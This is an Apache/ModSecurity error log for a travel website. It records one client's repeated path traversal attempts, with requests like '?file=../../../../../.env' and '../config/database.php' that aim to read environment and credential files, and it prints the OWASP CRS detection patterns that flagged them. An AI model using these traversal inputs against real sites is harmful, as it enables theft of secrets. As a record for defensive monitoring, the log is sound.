[Fri Jul 17 08:55:04.000344 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiYZvbo7N5o5zeYC-GQAAABw"]
[Fri Jul 17 08:55:04.005671 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkI1dLClkUfK_dfHktAAAAAI"]
[Fri Jul 17 08:55:04.005722 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkI1dLClkUfK_dfHktAAAAAI"]
[Fri Jul 17 08:55:04.006895 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkI1dLClkUfK_dfHktAAAAAI"]
[Fri Jul 17 08:55:04.011715 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?file=..%2F..%2F..%2F..%2F..%2F.env&ts=1i8usdjz4SCdjp93gJKdIPxKzm5MlnC73lkWa6TfkGt_2JbIyietJjCZHqGgXYgNd-DDyTG1OoWtMOQZquxe66E1u87BvRPKXOUTB-ZhDP3GHCHnUs0avvMKF9D1ALQLQOadnyPHkJ9KvlLT3bLU1FHVEoKy74tF_Ruit6gxI0YkeZsa7AovXcEfC6AaiwVl_M4-vD_qnbuvyMAs04_8VZnmNe-P21db8i-xksQMnQ9P7UmpipVM4ftoYIJAIfNJy3i3xKpzzrXr-2sTeB8BilOK&extra=JHH25MLYIAREUSYJTMGYLUJ5AYRGFMJWNEJDKVZLX3QJENPRWBJ5CXDOS4AT3TD7W2HGDZCM55HR2CV37NRASYALLHXPEM43DXYDTOYO6LWQSAPFV2GOUANABMYVXEEUG..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBewAAAAQ"]
[Fri Jul 17 08:55:04.011766 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBewAAAAQ"]
[Fri Jul 17 08:55:04.011825 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../../../../.env&ts=1i8usdjz4SCdjp93gJKdIPxKzm5MlnC73lkWa6TfkGt_2JbIyietJjCZHqGgXYgNd-DDyTG1OoWtMOQZquxe66E1u87BvRPKXOUTB-ZhDP3GHCHnUs0avvMKF9D1ALQLQOadnyPHkJ9KvlLT3bLU1FHVEoKy74tF_Ruit6gxI0YkeZsa7AovXcEfC6AaiwVl_M4-vD_qnbuvyMAs04_8VZnmNe-P21db8i-xksQMnQ9P7UmpipVM4ftoYIJAIfNJy3i3xKpzzrXr-2sTeB8BilOK&extra=JHH25MLYIAREUSYJTMGYLUJ5AYRGFMJWNEJDKVZLX3QJENPRWBJ5CXDOS4AT3TD7W2HGDZCM55HR2CV37NRASYALLHXPEM43DXYDTOYO6LWQSAPFV2GOUANABMYVXEEUG5XBS4HZL63LT5HR4C4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBewAAAAQ"]
[Fri Jul 17 08:55:04.011874 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../../../../.env&ts=1i8usdjz4scdjp93gjkdipxkzm5mlnc73lkwa6tfkgt_2jbiyietjjczhqggxygnd-ddytg1oowtmoqzquxe66e1u87bvrpkxoutb-zhdp3ghchnus0avvmkf9d1alqlqoadnyphkj9kvllt3blu1fhveoky74tf_ruit6gxi0ykezsa7aovxcefc6aaiwvl_m4-vd_qnbuvymas04_8vznmne-p21db8i-xksqmnq9p7umpipvm4ftoyijaifnjy3i3xkpzzrxr-2steb8bilok&extra=jhh25mlyiareusyjtmgyluj5ayrgfmjwnejdkvzlx3qjenprwbj5cxdos4at3td7w2hgdzcm55hr2cv37nrasyallhxpem43dxydtoyo6lwqsapfv2gouanabmyvxeeug5xbs4hzl63lt5hr4c4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBewAAAAQ"]
[Fri Jul 17 08:55:04.011903 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBewAAAAQ"]
[Fri Jul 17 08:55:04.011930 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBewAAAAQ"]
[Fri Jul 17 08:55:04.012681 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBHwAAAAY"]
[Fri Jul 17 08:55:04.012716 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBHwAAAAY"]
[Fri Jul 17 08:55:04.012775 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:file: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBHwAAAAY"]
[Fri Jul 17 08:55:04.013118 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBewAAAAQ"]
[Fri Jul 17 08:55:04.013244 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.013535 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBewAAAAQ"]
[Fri Jul 17 08:55:04.013923 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBHwAAAAY"]
[Fri Jul 17 08:55:04.013937 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?file=..%2F..%2Fconfig%2Fapp.php&extra=kSY6QWn6OWDcBqlNgMbE2ijZiJlHhljPwwU6AxtwtYG4p8CjkwgghYuukl81RkZ_B5UNuCeuSWfVcT_IY7UizSh-PhAUn-fBVm6enRuEqTmgNgFUE_YTV58MbO3dKoWZeKa6--YNQmOL75hAKpvJo72o62lqDTblTu4369HqFoboIX2AReh_7mACuVQtBLVLK5rYE58trpz3EZ-icNpw_i9AF28xRM0vDV1-erFGlz9qtHA1dpurRSyskR8auX_TJfIzpn_258CD2oen7VrrF5ZD&debug=E44CU4E7IZVERQM43VBZXJWRXIKJHKMO2VNZVVV55VQZTPGERHMZWOWL6QZHVXXHXISHEBVLXE2EFTH7CLQ2NVP7ONSZULVCNF7GGK7QCQBXYCWOHA5T2VKNQMPUODP3Z..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBHwAAABs"]
[Fri Jul 17 08:55:04.013972 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBHwAAABs"]
[Fri Jul 17 08:55:04.014017 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../config/app.php&extra=kSY6QWn6OWDcBqlNgMbE2ijZiJlHhljPwwU6AxtwtYG4p8CjkwgghYuukl81RkZ_B5UNuCeuSWfVcT_IY7UizSh-PhAUn-fBVm6enRuEqTmgNgFUE_YTV58MbO3dKoWZeKa6--YNQmOL75hAKpvJo72o62lqDTblTu4369HqFoboIX2AReh_7mACuVQtBLVLK5rYE58trpz3EZ-icNpw_i9AF28xRM0vDV1-erFGlz9qtHA1dpurRSyskR8auX_TJfIzpn_258CD2oen7VrrF5ZD&debug=E44CU4E7IZVERQM43VBZXJWRXIKJHKMO2VNZVVV55VQZTPGERHMZWOWL6QZHVXXHXISHEBVLXE2EFTH7CLQ2NVP7ONSZULVCNF7GGK7QCQBXYCWOHA5T2VKNQMPUODP3ZDDMRFSFEV764PL..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBHwAAABs"]
[Fri Jul 17 08:55:04.014029 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.014121 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../config/app.php&extra=ksy6qwn6owdcbqlngmbe2ijzijlhhljpwwu6axtwtyg4p8cjkwgghyuukl81rkz_b5unuceuswfvct_iy7uizsh-phaun-fbvm6enrueqtmgngfue_ytv58mbo3dkowzeka6--ynqmol75hakpvjo72o62lqdtbltu4369hqfoboix2areh_7macuvqtblvlk5rye58trpz3ez-icnpw_i9af28xrm0vdv1-erfglz9qtha1dpurrsyskr8aux_tjfizpn_258cd2oen7vrrf5zd&debug=e44cu4e7izverqm43vbzxjwrxikjhkmo2vnzvvv55vqztpgerhmzwowl6qzhvxxhxishebvlxe2efth7clq2nvp7onszulvcnf7ggk7qcqbxycwoha5t2vknqmpuodp3zddmrfsfev764pl..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBHwAAABs"]
[Fri Jul 17 08:55:04.014148 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBHwAAABs"]
[Fri Jul 17 08:55:04.014171 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBHwAAABs"]
[Fri Jul 17 08:55:04.014238 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:file: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBHwAAABs"]
[Fri Jul 17 08:55:04.014324 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBHwAAAAY"]
[Fri Jul 17 08:55:04.015377 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBHwAAABs"]
[Fri Jul 17 08:55:04.015497 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.016015 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkKquHSHoCJK_V0SBHwAAABs"]
[Fri Jul 17 08:55:04.019006 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?file=..%2F..%2Fconfig%2Fdatabase.php&ts=xNRnP7dFMy-jZDydEk23UGp0TLTCQh809M6DcNL5gnD7UDuOiPSE9a_aWtwqSNhvuAE9exex1MMBr-_m3i9vj95BN2DsXAKqYo9eCa5ux515bOHB_c22WaHRpmOaiX97v_NjB796dEKX9gdfAFOtFP__198qMw3S-FhcHTw9aqusomXLoPptXKVMoidJT48COefJ_RX988MrCPMLGlIet_k5Px4QYBmBWy_XsssJCC7Sdk88fv4hCz2nZbIif08wS5N68y97IMiEGEEiUJtK7kmK&anything=WTSAXBFAR3OAWE6L2UVILGOTFOBNUWTOSJ4CWNBXNMFWPYIL5APIZO7ZOYUNTJJENNEPAG76X7XVJUOEEYFQOBDCOHBM2VX5SQIZMZH2BDC66UIO5UC2UG3GDVJR..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkARRrtuZqNDDSqWwJgAAABo"]
